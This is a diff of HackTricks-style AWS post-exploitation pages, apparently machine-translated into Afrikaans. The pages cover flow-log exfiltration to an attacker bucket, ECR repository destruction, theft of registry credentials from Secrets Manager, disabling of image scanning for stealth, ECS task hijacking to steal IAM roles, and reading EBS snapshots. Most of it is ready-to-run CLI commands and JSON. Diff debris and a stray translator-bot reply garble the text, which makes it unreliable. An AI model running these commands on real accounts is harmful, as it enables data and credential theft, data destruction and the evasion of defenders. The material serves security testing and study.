Misbruik `ec2:CreateFlowLogs` om VPC-, subnet- of ENI flow logs direk na 'n aanvallerbeheer S3-bucket te exporteer. Sodra die delivery role gekonfigureer is om na die eksterne bucket te skryf, word elke verbinding wat op die gemoniteerde hulpbron gesien word, uit die victim account uitgestroom.
|
||||
|
||||
## Vereistes
|
||||
- Victim principal: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, and `iam:PassRole` (if a delivery role is required/created).
|
||||
- Attacker bucket: S3 policy that trusts `delivery.logs.amazonaws.com` with `s3:PutObject` and `bucket-owner-full-control`.
|
||||
- Opsioneel: `logs:DescribeLogGroups` if exporting to CloudWatch instead of S3 (not needed here).
|
||||
|
||||
## Aanvalsstap-vir-stap
|
||||
|
||||
1) **Attacker** stel 'n S3-bucketbeleid op (in attacker account) wat die VPC Flow Logs delivery service toelaat om objekte te skryf. Vervang plaashouers voordat u dit toepas:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowVPCFlowLogsDelivery",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "delivery.logs.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
|
||||
"Condition": {
|
||||
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Pas toe vanaf die attacker account:
|
||||
```bash
|
||||
aws s3api put-bucket-policy \
|
||||
--bucket <attacker-bucket> \
|
||||
--policy file://flowlogs-policy.json
|
||||
```
|
||||
2) **Victim** (compromised principal) skep die flow logs wat die attacker bucket teiken:
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
VPC_ID=<vpc-xxxxxxxx>
|
||||
ROLE_ARN=<delivery-role-with-logs-permissions> # Must allow delivery.logs.amazonaws.com to assume it
|
||||
aws ec2 create-flow-logs \
|
||||
--resource-type VPC \
|
||||
--resource-ids "$VPC_ID" \
|
||||
--traffic-type ALL \
|
||||
--log-destination-type s3 \
|
||||
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
|
||||
--deliver-logs-permission-arn "$ROLE_ARN" \
|
||||
--region "$REGION"
|
||||
```
|
||||
Binne minute verskyn flow log-lêers in die attacker bucket wat verbindings bevat vir alle ENIs in die gemonitorde VPC/subnet.
|
||||
|
||||
## Bewyse
|
||||
|
||||
Voorbeeld flow log-opnames wat na die attacker bucket geskryf is:
|
||||
```text
|
||||
version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
|
||||
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
|
||||
```
|
||||
Bewys van Bucket-lys:
|
||||
```bash
|
||||
aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
|
||||
```
|
||||
## Impak
|
||||
- Voortdurende netwerkmetadata exfiltration (bron/bestemming IP-adresse, poorte, protokolle) vir die gemonitorde VPC/subnet/ENI.
|
||||
- Maak verkeersontleding, identifisering van sensitiewe dienste en potensiële soektog na security group-miskonfigurasies van buite die geaffekteerde rekening moontlik.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,92 +0,0 @@
|
||||
# AWS - ECR Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Vir meer inligting, kyk
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Login, Pull & Push
|
||||
```bash
|
||||
# Docker login into ecr
|
||||
## For public repo (always use us-east-1)
|
||||
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
|
||||
## For private repo
|
||||
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
|
||||
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
|
||||
|
||||
# Download
|
||||
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
|
||||
## If you still have the error "Requested image not found"
|
||||
## It might be because the tag "latest" doesn't exit
|
||||
## Get valid tags with:
|
||||
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
|
||||
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
|
||||
|
||||
# Inspect the image
|
||||
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
|
||||
|
||||
# Upload (example uploading purplepanda with tag latest)
|
||||
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
|
||||
# Downloading without Docker
|
||||
# List digests
|
||||
aws ecr batch-get-image --repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
||||
|
||||
## Download a digest
|
||||
aws ecr get-download-url-for-layer \
|
||||
--repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Na die aflaai van die beelde moet jy **hulle vir sensitiewe inligting nagaan**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
'n Aanvaller met enige van hierdie toestemmings kan **'n lewensiklusbeleid skep of wysig om alle beelde in die repository te verwyder** en dan **die hele ECR-repository te verwyder**. Dit sal lei tot die verlies van alle houerbeelde wat in die repository gestoor is.
|
||||
```bash
|
||||
bashCopy code# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
"rules": [
|
||||
{
|
||||
"rulePriority": 1,
|
||||
"description": "Delete all images",
|
||||
"selection": {
|
||||
"tagStatus": "any",
|
||||
"countType": "imageCountMoreThan",
|
||||
"countNumber": 0
|
||||
},
|
||||
"action": {
|
||||
"type": "expire"
|
||||
}
|
||||
}
|
||||
]
|
||||
}' > malicious_policy.json
|
||||
|
||||
# Apply the malicious lifecycle policy to the ECR repository
|
||||
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
|
||||
|
||||
# Delete the ECR repository
|
||||
aws ecr delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete the ECR public repository
|
||||
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete multiple images from the ECR repository
|
||||
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+209
@@ -0,0 +1,209 @@
|
||||
# AWS - ECR Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Vir meer inligting, sien
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Login, Pull & Push
|
||||
```bash
|
||||
# Docker login into ecr
|
||||
## For public repo (always use us-east-1)
|
||||
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
|
||||
## For private repo
|
||||
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
|
||||
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
|
||||
|
||||
# Download
|
||||
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
|
||||
## If you still have the error "Requested image not found"
|
||||
## It might be because the tag "latest" doesn't exit
|
||||
## Get valid tags with:
|
||||
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
|
||||
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
|
||||
|
||||
# Inspect the image
|
||||
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
|
||||
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
|
||||
|
||||
# Upload (example uploading purplepanda with tag latest)
|
||||
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
|
||||
# Downloading without Docker
|
||||
# List digests
|
||||
aws ecr batch-get-image --repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
||||
|
||||
## Download a digest
|
||||
aws ecr get-download-url-for-layer \
|
||||
--repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Nadat jy die images afgelaai het, moet jy **hulle vir sensitiewe inligting nagaan**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
'n aanvaller met enige van hierdie permissies kan **'n lifecycle policy skep of wysig om alle images in die repository te verwyder** en dan **die hele ECR repository te verwyder**. Dit sou lei tot die verlies van alle container images wat in die repository gestoor is.
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
"rules": [
|
||||
{
|
||||
"rulePriority": 1,
|
||||
"description": "Delete all images",
|
||||
"selection": {
|
||||
"tagStatus": "any",
|
||||
"countType": "imageCountMoreThan",
|
||||
"countNumber": 0
|
||||
},
|
||||
"action": {
|
||||
"type": "expire"
|
||||
}
|
||||
}
|
||||
]
|
||||
}' > malicious_policy.json
|
||||
|
||||
# Apply the malicious lifecycle policy to the ECR repository
|
||||
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
|
||||
|
||||
# Delete the ECR repository
|
||||
aws ecr delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete the ECR public repository
|
||||
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete multiple images from the ECR repository
|
||||
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
|
||||
|
||||
Indien ECR Pull‑Through Cache gekonfigureer is vir geauthentiseerde upstream registries (Docker Hub, GHCR, ACR, ens.), word die upstream credentials gestoor in AWS Secrets Manager met 'n voorspelbare naamvoorvoegsel: `ecr-pullthroughcache/`. Operateurs gee soms ECR-admins uitgebreide lees-toegang tot Secrets Manager, wat credential exfiltration en hergebruik buite AWS moontlik maak.
|
||||
|
||||
Vereistes
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
Lys kandidaat PTC-sekrete
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
Laai ontdekte geheime uit en ontleed algemene velde
|
||||
```bash
|
||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
aws secretsmanager get-secret-value --secret-id "$s" \
|
||||
--query SecretString --output text | tee /tmp/ptc_secret.json
|
||||
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
Opsioneel: verifieer leaked creds teen die upstream (read‑only login)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
Impak
|
||||
- Die lees van hierdie Secrets Manager-inskrywings lewer herbruikbare upstream registry credentials (username/password or token), wat buite AWS misbruik kan word om private images te trek of toegang tot addisionele repositories te kry, afhangend van upstream-permissies.
|
||||
|
||||
|
||||
### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
'n Aanvaller met registry-level ECR-permissions kan stilweg die outomatiese kwesbaarheidskandering vir ALLE repositories verminder of deaktiveer deur die registry scanning configuration op BASIC te stel sonder enige scan-on-push-reëls. Dit voorkom dat nuwe image pushes outomaties gescan word, en verberg kwesbare of kwaadwillige images.
|
||||
|
||||
Vereistes
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (optional, per‑repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
|
||||
|
||||
Register-wye afgradering na handmatig (geen outomatiese skanderings nie)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
aws ecr get-registry-scanning-configuration --region "$REGION"
|
||||
|
||||
# Set BASIC scanning with no rules (results in MANUAL scanning only)
|
||||
aws ecr put-registry-scanning-configuration \
|
||||
--region "$REGION" \
|
||||
--scan-type BASIC \
|
||||
--rules '[]'
|
||||
```
|
||||
Toets met 'n repo en 'n image
|
||||
```bash
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
repo=ht-scan-stealth
|
||||
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
|
||||
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
|
||||
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
|
||||
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
|
||||
|
||||
# Verify no scan ran automatically
|
||||
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
I don't have the README.md content. Please paste the file's markdown here (or upload the text) and I'll translate the English to Afrikaans while preserving all markdown, code, links, tags, and paths per your instructions.
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
--region "$REGION" \
|
||||
--repository-name "$repo" \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
Impak
|
||||
- Nuwe beelde wat regoor die register gedruk word, word nie outomaties geskandeer nie, wat die sigbaarheid van kwesbare of kwaadwillige inhoud verminder en die opsporing vertraag totdat 'n handmatige skandering geïnisieer word.
|
||||
|
||||
|
||||
### Register‑wye afgradering van die skandering‑engine via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
Verminder die kwaliteit van kwesbaarheidsopsporing oor die hele register deur die BASIC scan engine van die verstek AWS_NATIVE na die ouer CLAIR engine te skuif. Dit deaktiveer nie skandering nie, maar kan bevindinge en dekking beduidend verander. Kombineer dit met 'n BASIC registry scanning configuration sonder reëls om skanderings slegs-manueel te maak.
|
||||
|
||||
Vereistes
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (Opsioneel) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
Impak
|
||||
- Registerinstelling `BASIC_SCAN_TYPE_VERSION` word op `CLAIR` gestel sodat daaropvolgende BASIC scans met die afgegradeerde engine loop. CloudTrail neem die `PutAccountSetting` API-oproep op.
|
||||
|
||||
Stappe
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Read current value so you can restore it later
|
||||
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
|
||||
|
||||
# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
|
||||
|
||||
# 3) Verify the setting
|
||||
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
|
||||
|
||||
# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
|
||||
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
|
||||
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
|
||||
@@ -1,57 +0,0 @@
|
||||
# AWS - ECS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Roles
|
||||
|
||||
In ECS kan 'n **IAM rol aan die taak** toegeken word wat binne die houer loop. **As** die taak binne 'n **EC2** instansie loop, sal die **EC2 instansie** 'n **ander IAM** rol aan dit hê.\
|
||||
Dit beteken dat as jy daarin slaag om 'n ECS instansie te **kompromitteer**, jy potensieel die **IAM rol geassosieer met die ECR en die EC2 instansie** kan **verkry**. Vir meer inligting oor hoe om daardie akrediteer te kry, kyk:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Let daarop dat as die EC2 instansie IMDSv2 afdwing, [**volgens die dokumentasie**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **antwoord van die PUT versoek** 'n **hop limiet van 1** sal hê, wat dit onmoontlik maak om toegang tot die EC2 metadata vanaf 'n houer binne die EC2 instansie te verkry.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
Maar verder, gebruik EC2 docker om ECs take te loop, so as jy kan ontsnap na die node of **toegang tot die docker socket** kan kry, kan jy **kyk** watter **ander houers** aan die gang is, en selfs **binne hulle gaan** en **hulle IAM rolle** steel.
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Boonop sal die **EC2 instansie rol** gewoonlik genoeg **toestemmings** hê om die **toestand van die houer instansie** van die EC2 instansies wat as nodes binne die kluster gebruik word, te **opdateer**. 'n Aanvaller kan die **toestand van 'n instansie na DRAINING** verander, dan sal ECS **alle take daarvan verwyder** en diegene wat as **REPLICA** loop, sal in 'n ander instansie **loop**, potensieel binne die **aanvaller se instansie** sodat hy **hulle IAM rolle** en potensieel sensitiewe inligting van binne die houer kan **steel**.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
Die dieselfde tegniek kan gedoen word deur **die EC2-instantie van die kluster af te deregistreer**. Dit is potensieel minder stil, maar dit sal **die take dwing om in ander instanties uitgevoer te word:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
'n Finale tegniek om die heruitvoering van take te dwing, is deur aan ECS aan te dui dat die **taak of houer gestop is**. Daar is 3 potensiële API's om dit te doen:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
|
||||
# Needs: ecs:SubmitContainerStateChange
|
||||
aws ecs submit-container-state-change ...
|
||||
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Steel sensitiewe inligting van ECR houers
|
||||
|
||||
Die EC2-instantie sal waarskynlik ook die toestemming `ecr:GetAuthorizationToken` hê wat dit toelaat om **beelde af te laai** (jy kan sensitiewe inligting daarin soek).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+126
@@ -0,0 +1,126 @@
|
||||
# AWS - ECS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Gasheer IAM-rolle
|
||||
|
||||
In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
|
||||
Dit beteken dat as jy daarin slaag om **compromise** 'n ECS instance jy moontlik die **IAM role associated to the ECR and to the EC2 instance** kan obtain. Vir meer inligting oor hoe om daardie credentials te kry, kyk:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
Boonop gebruik EC2 docker om ECS tasks te run, so as jy kan escape na die node of **access the docker socket**, kan jy **check** watter **ander containers** ge-run word, en selfs **get inside of them** en **steal their IAM roles** wat daaraan gekoppel is.
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Verder sal die **EC2 instance role** gewoonlik genoeg **permissions** hê om die **container instance state** van die EC2 instances wat as nodes in die cluster gebruik word, te **update**. 'n attacker kan die **state of an instance to DRAINING** wysig; dan sal ECS **remove all the tasks from it**, en dié wat as **REPLICA** gerun word, sal in 'n ander instance run, moontlik binne die **attacker instance**, sodat hy hul **IAM roles** en potensieel sensitiewe inligting binne die container kan **steal**.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
Dieselfde tegniek kan gedoen word deur **die ontregistrering van die EC2-instansie uit die kluster**. Dit is potensieel minder stealthy, maar dit sal **die tasks dwing om op ander instances uitgevoer te word:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
'n finale tegniek om die her-uitvoering van take af te dwing is deur ECS aan te dui dat die **task or container was stopped**. Daar is 3 potensiële APIs om dit te doen:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
|
||||
# Needs: ecs:SubmitContainerStateChange
|
||||
aws ecs submit-container-state-change ...
|
||||
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Steel sensitiewe inligting uit ECR containers
|
||||
|
||||
Die EC2 instansie sal waarskynlik ook die toestemming `ecr:GetAuthorizationToken` hê wat dit toelaat om **download images** (jy kan soek na sensitiewe inligting daarin).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Misbruik die native ECS EBS integrasie (2024+) om die inhoud van 'n bestaande EBS snapshot direk binne 'n nuwe ECS taak/service te mount en sy data van binne die container te lees.
|
||||
|
||||
- Benodigdhede (minimum):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- Een van: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole op:
|
||||
- ECS infrastruktuurrol wat vir volumes gebruik word (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles wat in die taakdefinisie verwys word
|
||||
- As die snapshot met 'n CMK enkripteer is: KMS permissions vir die infrastruktuurrol (die AWS managed policy hierbo sluit die vereiste KMS-toestemmings vir AWS managed keys in).
|
||||
|
||||
- Impak: Lees willekeurige skyfinhoud uit die snapshot (bv. databasislêers) binne die container en exfiltrateer via netwerk/logs.
|
||||
|
||||
Stappe (Fargate voorbeeld):
|
||||
|
||||
1) Skep die ECS infrastruktuurrol (as dit nie bestaan nie) en heg die managed policy aan:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) Registreer 'n taakdefinisie met 'n volume gemerk as `configuredAtLaunch` en koppel dit in die container. Voorbeeld (druk die geheim uit en slaap daarna):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
|
||||
"containerDefinitions": [
|
||||
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"entryPoint":["/bin/sh","-c"],
|
||||
"command":["cat /loot/secret.txt || true; sleep 3600"],
|
||||
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
|
||||
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
|
||||
}
|
||||
],
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) Skep of werk 'n diens by en gee die EBS-snapshot deur via `volumeConfigurations.managedEBSVolume` (vereis iam:PassRole op die infra-rol). Voorbeeld:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
"serviceName": "ht-ebs-svc",
|
||||
"taskDefinition": "ht-ebs-read",
|
||||
"desiredCount": 1,
|
||||
"launchType": "FARGATE",
|
||||
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
|
||||
"volumeConfigurations": [
|
||||
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Wanneer die taak begin, kan die container die snapshot-inhoud by die gekonfigureerde mount path lees (bv. `/loot`). Exfiltrate via die taak se network/logs.
|
||||
|
||||
Opruiming:
|
||||
```bash
|
||||
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
|
||||
@@ -1,46 +0,0 @@
|
||||
# AWS - EFS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
